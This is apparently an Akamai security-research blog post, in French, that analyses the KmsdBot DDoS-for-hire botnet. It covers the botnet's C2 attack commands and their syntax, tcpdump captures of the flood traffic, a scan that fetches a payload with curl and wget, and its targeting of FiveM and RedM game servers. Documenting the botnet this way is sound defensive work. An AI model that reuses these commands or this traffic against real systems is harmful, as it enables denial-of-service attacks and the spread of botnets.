Émulation de la commande et du contrôle de KmsdBot et examen de son trafic d'attaque
Édition et contributions additionnelles de Tricia Howard
Synthèse
Les chercheurs Akamai ont poursuivi leurs recherches sur KmsdBot, un botnet de cryptomoning,et ont examiné son trafic d'attaque.
En raison de la myriade de secteurs et de zones géographiques ciblées, nous pensons que KmsdBot est un déni de service distribuéDDoSà louer.
Sur la base des adresses IP et des domaines observés, la majorité des victimes sont localisées en Asie, en Amérique du Nord et en Europe.
Deux cibles notables ont été FiveM et RedM, des modificateurs de jeu pour Grand Theft Auto V et Red Dead Redemption 2, ce qui nous donne des informations sur les clients de ce botnet.
Bien que nous ne puissions pas confirmer l'origine de ce botnet, on constate un manque d'activité intéressant en Russie et dans les régions avoisinantes, ce qui pourrait être un signe de son lieu de naissance.
Introduction
En novembre dernier, un botnet de cryptomining a été piégé dans un de nos pots de miel. Notre Security Intelligence Response Team (SIRT) l'a analysé et l'a baptisé KmsdBot. Il a infecté le pot de miel après l'expérimentation d'une nouvelle configuration et avait des origines intéressantes. Nous avons continué à analyser et à tester KmsdBot, y compris en modifiant son code binaire et en le dirigeant vers notre propre domaine de commande et contrôle (C2), ce qui nous a permis de voir l'acteur malveillant rendre le botnet inexploitable.
Dans le cadre de notre recherche continue, nous avons décidé de documenter les différentes commandes que le KmsdBot accepte et met réellement en œuvre. L'environnement que nous testons nous permet de router le C2 et d'envoyer le trafic d'attaque vers des hôtes spécifiques, ce qui signifie que nous sommes en mesure d'examiner le trafic envoyé à partir de différentes commandes d'attaque. Pour référence, le bot dispose d'attaques de couche 4 et de couche 7 utilisant TCP, UDP, HTTP et HTTPS avec des requêtes GET et POST.
Analyse initiale
Grâce à l'analyse du logiciel malveillant, nous avons pu trouver certaines chaînes de commande en recherchant l'instruction « move absolute » (Figure 1).
Fig. 1 : une liste partielle des chaînes de commande du botnet
Nous avons trouvé davantage de commandes en examinant d'autres instructions utilisées pour charger des données dans des registres. Cette fois, l'instruction est lea, ou load effective address (Figure 2). À partir de là, nous avons pu analyser les différents emplacements des chaînes de caractères du serveur C2 (Figure 3).
Fig. 2 : une deuxième liste partielle de commandes supplémentaires
Fig. 3 : emplacement des chaînes sur le serveur C2
Analyse du trafic d'attaque
Sur la base des tcpdumps du trafic d'attaque, certaines des commandes disponibles ne semblent pas encore totalement mises en œuvre, mais envoient un paquet par défaut ou vide à la place. La plupart de ces commandes non mises en œuvre correspondent à la version TCP d'une commande UDP fonctionnelle. Cependant, pour les commandes qui fonctionnent, nous pouvons observer certains modèles d'attaque uniques.
La première attaque qui se démarque est appelée « bigdata » et envoie des requêtes POST de 1 Mb au port spécifié. L'en-tête Content-Type indique que la charge utile est codée par URL, mais après inspection, il semblerait qu'il s'agisse de contenu indésirable. L'objectif de cette attaque est d'envoyer de grandes quantités de données dans le corps de chaque demande afin d'augmenter la quantité de bande passante dont chaque paquet aura besoin pour traiter la demande. Il s'agit là d'une fonctionnalité très basique que presque toutes les campagnes DDoS utilisent, et c'est aussi l'une des plus populaires pour ce botnet d'après nos observations.
!bigdata <target> 22 600 3
20:45:31.121974 IP <infected>.51214 > <target>.80: Flags [P.], seq 7241:14481, ack 1, win 502, options [nop,nop,TS val 931669114 ecr 1577041762], length 7240: HTTP
E..|..@.@.Y..*G..*G(...P.^.&.).O.....
.....
7.$z]..b18uSfkWchTJkErN0hFunGPegITykuWPbcVUI30GnUv8MGHSWRr0txvItdKFnUcKWCmftyrshUkDqNWgKqN1sHPlZUwSm2JQ3a8T0YCJsZZdIZ4ygppFITi6tGicpEM11paeEQcSmLPzCHY6VVN7Yd7zl58GShIvCVKdubLJBS64pvpYql5SWGZpv9TIOie9abaoY1h8NXy.
.
.
5Y29QAAzIKaiY9Nixq2IlfWn9iirDg9Bdhi4VPNFeff3QLoL5CEoOy0YPrEv4c6FiqrbmsbSiUpw4dVtYqOWZF1lLHtbXTPPlcZWTFlCmpvThwrNetuKdnYUpIVrINryurKdCfeLbNOM7oJ2duL33R7k2TXO2NvIqWdtBNd4PqboRthW0fxCcB5
En plus de !bigdata, nous observons !tcpbigdata et !udpbigdata. Ces commandes n'envoient pas une charge utile. Il s'agit de paquets SYN et UDP, respectivement. Leur fonction semble être la même que celle de la fonction bigdata standard, à savoir qu'elles augmentent la contrainte que ces paquets exercent sur un serveur en augmentant la taille des paquets, mais elles permettent également de choisir entre un trafic SYN et UDP.
En utilisant une attaque SYN flood, l'attaquant peut abuser de la poignée de main en trois temps utilisée dans le protocole TCP pour établir une connexion semi-ouverte sur de nombreux ports différents. Le serveur cible a ainsi du mal à gérer le volume de trafic et a encore plus de mal à distinguer les demandes de connexion légitimes des demandes malveillantes. Les attaques UDP bénéficient du fait qu'elles n'ont pas besoin de la poignée de main en trois temps, ce qui rend l'attaque d'une cible plus facile car il y a moins de travail à faire du côté de l'attaquant. Si la cible n'évalue pas correctement la limite, cette attaque peut être efficace avec moins de ressources offensives.
!udpbigdata <target> 223 120
14:34:03.823443 IP <infected>.44790 > <target>.80: UDP, length 541
E..9c.@.@..R.*G..*G(...P.%.."..y.A.>.9..)S^2...c.R.G.i~i%....=t..}8MRuu(.'a.%.b..n.~....p.....v./....8..C...53*.v.."{.-...Xc.GG....5B....Y....I.., rC;.5C... .V`..A.....R..|.M..?.uLq/Je6~..O..w..........;.xH.K'..s.l>.p|..f.O..,Z..C...W.f.^..}@.y..a=.2l... j..w{J..7...z.L....A..Puv1.......s*@.\......~.3.....[:...............7rm...=........4.gR..%....[.t,7..M.0......_........O..~ )rTdW...X.-.Jw.(.8..D5Q..S....OC.oz..u8..8.e...E:i.X.....+c.
.........hA[{|;Y.R.d..r!.H..8....Y....$.w.......Uc..:!.X=.fC...1.Gn...[so..{N3&..h.3.....G...2...g..@.?...xGQ<..r..*...._.7T.j..
Quelques commandes de trafic HTTP(s) POST et GET standard se fondaient également dans le trafic standard en ressemblant étroitement à un paquet normal, tant en taille qu'en format, au lieu de se concentrer sur l'impact global de la taille du paquet unique. Le but typique des attaques basées sur HTTP est d'envoyer un grand nombre de paquets difficiles à distinguer de l'activité normale et donc difficiles à filtrer lors de la réponse à une attaque. Comme vous pouvez le constater ci-dessous, ces paquets ressemblent beaucoup aux paquets génériques.
!post <target> 443 /fle/tracking 120 20 20 100
21:16:50.755007 IP <infected>.44466 > <target>.443: Flags [S], seq 203292974, win 64240, options [mss 1460,sackOK,TS val 933548747 ecr 0,nop,wscale 7], length 0
E..<..@.@....*G..*G(...........................
7...........
21:16:50.755031 IP <target>.443 > <infected>.44466: Flags [R.], seq 0, ack 203292975, win 0, length 0
E..(..@.@.T5.*G(.*G............/P....{..
!get <target> 443 /fle/tracking 30 20 20 100
21:24:23.088733 IP <infected>.48062 > <target>.443: Flags [S], seq 646433585, win 64240, options [mss 1460,sackOK,TS val 934001081 ecr 0,nop,wscale 7], length 0
E..<Ol@.@....*G..*G(....&..1...................
7...........
21:24:23.088751 IP <target>.443 > <infected>.48062: Flags [R.], seq 0, ack 646433586, win 0, length 0
Les commandes hexadécimales (!udphex et !tcphex) contiennent une petite quantité de contenu codé en hexadécimal. Cela peut être dû au fait que certains hôtes exigent que le contenu soit codé en hexadécimal afin de traiter la commande, ou que la commande est envoyée dans l'intention de complexifier l'interprétation des données par le serveur cible.
!udphex <target> 80 80 30 250
21:04:06.915036 IP <infected>.32847 > <target>.80: UDP, length 31
E..;~.@.@..j.*G..*G(.O.P.'......\.j/.....R.u.a..6.J..1.:..$
Alors que les commandes udphex/tcphex n'étaient pas axées sur le volume, les commandes tcphexclimb/udphexclimb semblent intégrer cette stratégie. Chaque commande est envoyée en un seul paquet. Avec ces commandes, la taille des paquets commence par être petite, à la manière du trafic udphex et tcphex , mais elle augmente au fur et à mesure qu'e des paquets sont envoyés. Après avoir observé ce trafic pendant un certain temps, nous pouvons constater qu'une fois une taille de paquet spécifiée atteinte, leur taille redevient plus petite puis augmente à nouveau, répétant ce processus encore et encore.
!udphexclimb <target> 80 60 600
21:38:53.854411 IP <infected>.50706 > <target>.80: UDP, length 1
E...o2@.@....*G..*G(...P. ...
21:38:53.854482 IP <infected>.55293 > <target>.80: UDP, length 181
E.....@.@.os.*G..*G(...P...i............A.>.....;.\...,...R...Z......2.c.....RG.<.`.%9....z....4=.W.:..+.!WA..6j..t.<..m...O /.z3.......]w<.BX..D...Da....SV3ZC...../...x[g......).....D.vP9K7<.`.Sz.=U..3....`f.
21:38:53.867809 IP <infected>.46227 > <target>.80: UDP, length 541
E..9z.@.@....*G..*G(...P.%..em.D..'...A&./wb.
...1
....ESG.v.\S..5.....W.....J.C.>_a..{.B.........Z.......a........_{#nG%...SD.....x`q.p..^~......w@.&.~.&M..l.x.@.h..
...,....q0!......NN~......vf.}<Z.[...-.XS...%.......5......JP(>/...Z..t.........9.`..N*..o..T..z.....h ..F .-.....rat./.VQ.z.....C...}.....2..?`..H...ty.bd[.3.XN.ne.. ..e....r.|..Z'..!ge....]./s..,.{v.n..01.;..R[..~..o.Ze.tP.Rs..x.07fL.Fh.p.5.....I...4..YO..d....#.7Q03.)7.>.o...:T\naG//.....a."...e.g.(.ih.5@...c-...e.EEd..B.qM..}U./
..?H{......"<L>...#.....$.....>".X...!n........bPM.09....\6n.....0.
21:38:53.875122 IP <infected>.41308 > <target>.80: UDP, length 541
E..9.+@.@.w..*G..*G(.\.P.%......[..........:..tZn...812/...8.h5....6.,`....&..4.Un..H(....k.Sex.C.m.# ...].2b(........>.n.h.... .U....Y.[.UG.k.9..\l.."qe.76..lvkf..c...~.NrM..(m?<.F...>5/J9N...SK3.....1....G....)`...c..G..=...............:......#.n...........:..) .n.<. .....%..ja..|.P.(........h6.vEQ..sV.....z VSr....h....... ....1xO...1.C.{..NDX2...5,R}F.Sv.mm@....5...Ss..V.j~a..k9....".3..T&B.*......=....r.
..I.3.q.u.1.
..9t...+...D..?z.D...Lu...oA....%V....#+:...z..&.GVQ..{.......6.dQ.".x...(ch....\......%.. x.d.....U#........ ...f..u...%1..\m.A. .`:B....;....
Deux commandes particulières se sont distinguées, car elles semblent viser les serveurs de modification de jeux vidéo. Nous avions noté dans notre première publication que nous avions observé KmsdBot pour la première fois sur FiveM. FiveM et RedM sont des plateformes d'hébergement de serveurs modifiés de « Grand Theft Auto V » et « Red Dead Redemption 2 », respectivement, qui permettent aux propriétaires de serveurs de créer des règles différentes et d'incorporer de nouvelles idées dans le serveur qui n'étaient pas présentes dans le jeu lui-même.
La présence de ces deux commandes renforce l'idée que ce logiciel malveillant est une forme de DDoS à louer. Cette théorie est également appuyée par la grande variété des secteurs ciblés : jeux, marques de luxe et même entreprises de sécurité.
!redm <target> 7777 / 10 10 10 100
21:39:42.156933 IP <infected>.32991 > <target>.80: UDP, length 1
E...u.@.@..o.*G..*G(...P. ...
21:39:42.159173 IP <infected>.51973 > <target>.80: UDP, length 1
E...f.@.@....*G..*G(...P. ..}
21:39:42.199900 IP <infected>.50248 > <target>.80: UDP, length 541
E..9..@.@.d[.*G..*G(.H.P.%..U.~.
'..K....h._ig.o..u+Z^....B+E.9.............../.......S.m.....:.....7.U..Ys)../..........i4#..P...?...D...2e.E....]wo...-.....$.
.FG"..(./..L. ....).......q.l[..R&..A..)._..U.9O..jK<./..W'gSL.."g
i....N.b.a.../...Jq.....S..... .e.e.b.-..<..Q.#.Nr.,u..!L....8.T..NN.. ....v.........b......2oz....Y.p...=#.0c.O..)...^.U.fOy..Y#.:V..U.!..4D.......b..i.....+.w....u...5.*..r.....(.u....!....cfZ...Lw.pY.p.......I.{T...)B..n...w.4_...q.3.9.L..2.X.f...f.....\t...^)...Y....'../Kl......Bm.,8@.......<.`CR....=
..1.`.....$#.9.Q..0.%~.. ..d...iw
21:39:42.208292 IP <infected>.60098 > <target>.80: UDP, length 1
E....A@.@....*G..*G(...P. …
Une commande très particulière de ce botnet est la commande !scan . La fonction scan semble cibler des chemins spécifiques dans l'environnement cible, effectue une poignée de main en trois temps, puis envoie une demande curl PUSH et une requête wget PUSH. Le scan semble également exécuter deux binaires différents, kumd et kmsd.
!scan <target> <target>/win/kzmds <target> kumd kmsd
15:57:58.460042 IP <infected>.51782 > <target>.80: Flags [S], seq 243112026, win 64240, options [mss 1460,sackOK,TS val 1864816453 ecr 0,nop,wscale 7], length 0
E..<..@.@..;.*G..*G(.F.P.}.Z...................
o&.E........
15:57:58.460085 IP <target>.80 > <infected>.51782: Flags [S.], seq 2021013353, ack 243112027, win 65160, options [mss 1460,sackOK,TS val 2510189102 ecr 1864816453,nop,wscale 7], length 0
E..<..@.@.T!.*G(.*G..P.Fxv7i.}.[...............
..r.o&.E....
15:57:58.460097 IP <infected>.51782 > <target>.80: Flags [.], ack 1, win 502, options [nop,nop,TS val 1864816453 ecr 2510189102], length 0
E..4..@.@..B.*G..*G(.F.P.}.[xv7j...........
o&.E..r.
15:57:58.460281 IP <infected>.51782 > <target>.80: Flags [P.], seq 1:89, ack 1, win 502, options [nop,nop,TS val 1864816453 ecr 2510189102], length 88: HTTP: GET /x86_64/ksmdx HTTP/1.1
E.....@.@....*G..*G(.F.P.}.[xv7j...........
o&.E..r.GET /x86_64/ksmdx HTTP/1.1
Host: <target>
User-Agent: curl/7.86.0
Accept: */*
15:58:04.444745 IP <infected>.41264 > <target>.80: Flags [S], seq 148305932, win 64240, options [mss 1460,sackOK,TS val 1864822437 ecr 0,nop,wscale 7], length 0
E..<k3@.@....*G..*G(.0.P.......................
o&..........
15:58:04.444793 IP <target>.80 > <infected>.41264: Flags [S.], seq 3903795483, ack 148305933, win 65160, options [mss 1460,sackOK,TS val 2510195086 ecr 1864822437,nop,wscale 7], length 0
E..<..@.@.T!.*G(.*G..P.0..1....................
....o&......
15:58:04.444807 IP <infected>.41264 > <target>.80: Flags [.], ack 1, win 502, options [nop,nop,TS val 1864822437 ecr 2510195086], length 0
E..4k4@.@....*G..*G(.0.P......1............
o&......
15:58:04.444992 IP <infected>.41264 > <target>.80: Flags [P.], seq 1:140, ack 1, win 502, options [nop,nop,TS val 1864822437 ecr 2510195086], length 139: HTTP: GET /x86_64/ksmdx HTTP/1.1
E...k5@.@..h.*G..*G(.0.P......1......L.....
o&......GET /x86_64/ksmdx HTTP/1.1
Host: <target>
User-Agent: Wget/1.21.3
Accept: */*
Accept-Encoding: identity
Connection: Keep-Alive
Nous avons observé kmsd exécuter la commande « /x86_64/ksmdx », et nous avons essayé d'utiliser ces paramètres avec le binaire ksmdx pour voir ce qui se produirait. Il a commencé à scanner les adresses IP dont le port 22 était resté ouvert, ce qui renforce la suspicion selon laquelle il est utilisé pour rechercher d'autres terminaux à infecter et à intégrer au botnet.
strace -f ./ksmdx <target> <target>/win/kzmds <target> kumd kmsd
[pid 4554] socket(AF_INET, SOCK_STREAM|SOCK_CLOEXEC|SOCK_NONBLOCK, IPPROTO_IP) = 28
[pid 4554] connect(28, {sa_family=AF_INET, sin_port=htons(22), sin_addr=inet_addr("254.105.206.15")}, 16) = -1 EINPROGRESS (Operation now in progress)
[pid 4554] epoll_ctl(4, EPOLL_CTL_ADD, 28, {EPOLLIN|EPOLLOUT|EPOLLRDHUP|EPOLLET, {u32=2497619288, u64=140327669114200}}) = 0
[pid 4554] epoll_ctl(4, EPOLL_CTL_DEL, 30, 0xc0001af594) = 0
[pid 4554] close(30) = 0
[pid 4554] socket(AF_INET, SOCK_STREAM|SOCK_CLOEXEC|SOCK_NONBLOCK, IPPROTO_IP) = 30
[pid 4554] connect(30, {sa_family=AF_INET, sin_port=htons(22), sin_addr=inet_addr("227.46.34.129")}, 16) = -1 ENETUNREACH (Network is unreachable)
[pid 4554] close(30) = 0
[pid 4554] socket(AF_INET, SOCK_STREAM|SOCK_CLOEXEC|SOCK_NONBLOCK, IPPROTO_IP) = 30
[pid 4554] connect(30, {sa_family=AF_INET, sin_port=htons(22), sin_addr=inet_addr("121.149.127.161")}, 16) = -1 EINPROGRESS (Operation now in progress)
[pid 4554] epoll_ctl(4, EPOLL_CTL_ADD, 30, {EPOLLIN|EPOLLOUT|EPOLLRDHUP|EPOLLET, {u32=2497326296, u64=140327668821208}}) = 0
[pid 4554] socket(AF_INET, SOCK_STREAM|SOCK_CLOEXEC|SOCK_NONBLOCK, IPPROTO_IP) = 1056
[pid 4554] connect(1056, {sa_family=AF_INET, sin_port=htons(22), sin_addr=inet_addr("252.117.241.5")}, 16) = -1 EINPROGRESS (Operation now in progress)
[pid 4554] epoll_ctl(4, EPOLL_CTL_ADD, 1056, {EPOLLIN|EPOLLOUT|EPOLLRDHUP|EPOLLET, {u32=2497346936, u64=140327668841848}}) = 0
[pid 4554] socket(AF_INET, SOCK_STREAM|SOCK_CLOEXEC|SOCK_NONBLOCK, IPPROTO_IP) = 1057
[pid 4554] connect(1057, {sa_family=AF_INET, sin_port=htons(22), sin_addr=inet_addr("175.81.51.242")}, 16) = -1 EINPROGRESS (Operation now in progress)
[pid 4554] epoll_ctl(4, EPOLL_CTL_ADD, 1057, {EPOLLIN|EPOLLOUT|EPOLLRDHUP|EPOLLET, {u32=2497610168, u64=140327669105080}}^Cstrace: Process 4554 detached
<detached ...>
Zones géographiques
En plus des commandes d'attaque, nous avons pu établir une correspondance entre les IP et les domaines cibles observés et les lieux géographiques. Une grande concentration de cibles a été localisée en Asie, en Amérique du Nord et en Europe, sur la base des IP et des domaines observés.
L'activité visant le territoire russe et ses voisins a également été très faible, ce qui peut constituer un indicateur utile pour déterminer l'origine réelle de ces attaques. Dans la Figure 4, chaque marqueur indique au moins une tentative d'attaque de KmsdBot.
Fig. 4 : tentatives d'infection par KmsdBot
Suivi des commandes C2
Certains de nos efforts initiaux ont porté sur l'observation de l'activité provenant du serveur C2. Nous avons commencé par nous insérer dans le botnet en tant qu'hôte infecté, puis nous avons attendu que des commandes d'attaque nous parviennent du serveur C2. Nous avons enregistré ces commandes d'attaque dans Elastic, en notant les commandes, les cibles, les horodatages et les autres variables que nous avons observées.
Cela nous a permis non seulement de voir quelles capacités d'attaque étaient utilisées, mais aussi d'avoir une idée de la répartition des victimes et de la manière exacte dont chaque commande était destinée à être utilisée. Grâce à ce processus, nous avons été en mesure d'extraire ces 18 commandes :
article de blog
post1
get
get1
bigdata
fivem
getrand
redm
tcp
tcpbigdata
tcpclimb
tcphex
tcphexclimb
udp
udpbigdata
udphex
udphexclimb
Scan
Ce qui nous a immédiatement sauté aux yeux en regardant les noms de ces commandes, c'est la spécificité de certaines d'entre elles et la variété générale des commandes prises en charge. Nous avons par exemple vu « bigdata » non seulement proposée comme une fonction autonome, mais aussi sous une version spécifique au TCP et une version spécifique à l'UDP. La plupart des autres commandes sont proposées d'une manière similaire.
En outre, nous avons fait une découverte majeure, à savoir un ensemble de commandes qui ciblent des serveurs de jeux spécifiques : « fivem » et « redm ». La présence de ces commandes correspond aux observations précédentes sur les serveurs de jeux ciblés et donne un aperçu des clients de ce botnet à louer.
La Figure 5 présente la répartition des commandes d'attaque que nous avons observées pendant 30 jours, ainsi que la fréquence à laquelle nous les avons constatées.
Figure 5 : Les commandes de botnet les plus utilisées et leurs fréquences, observées sur 30 jours
Les commandes « bigdata » et « get » arrivent en tête avec plus de 70 commandes, probablement parce qu'il s'agit des attaques génériques ayant le plus d'impact. La troisième attaque la plus fréquente, « fivem », compte environ 45 appels. Cela nous indique que, bien que les serveurs de jeux soient une cible spécifique offerte, il est possible que ce secteur ne soit pas le seul touché par ces attaques.
La commande FiveM est encore beaucoup utilisée, de même que RedM, mais la fréquence des commandes qui nous parviennent nous amène à conclure que le portefeuille de victimes est très diversifié. La prise en charge de plusieurs types de serveurs augmente la convivialité globale de ce botnet et semble efficace pour attirer des clients.
Conclusion
Lorsque nous avons commencé à analyser KmsdBot, plusieurs raisons notables le rendaient intrigant : il était écrit en Go, il avait une fonctionnalité de cryptomining, et ses cibles semblaient erratiques. Après une analyse plus poussée, les preuves indiquent qu'il s'agit d'un acteur de DDoS en tant que service, ce qui expliquerait de nombreuses choses intéressantes à son sujet.
L'un des objectifs de la SIRT d'Akamai est de disséquer et de documenter l'évolution de botnets tels que KmsdBot et d'informer le public de nos observations. KmsdBot correspond à certaines des tendances que nous avons observées en général, notamment le langage dans lequel il est écrit.
Il est de plus en plus courant de développer du code malveillant dans différents langages, comme le Go et même le Python compilé. La SIRT continuera à surveiller l'écosystème des menaces au fur et à mesure de son évolution.
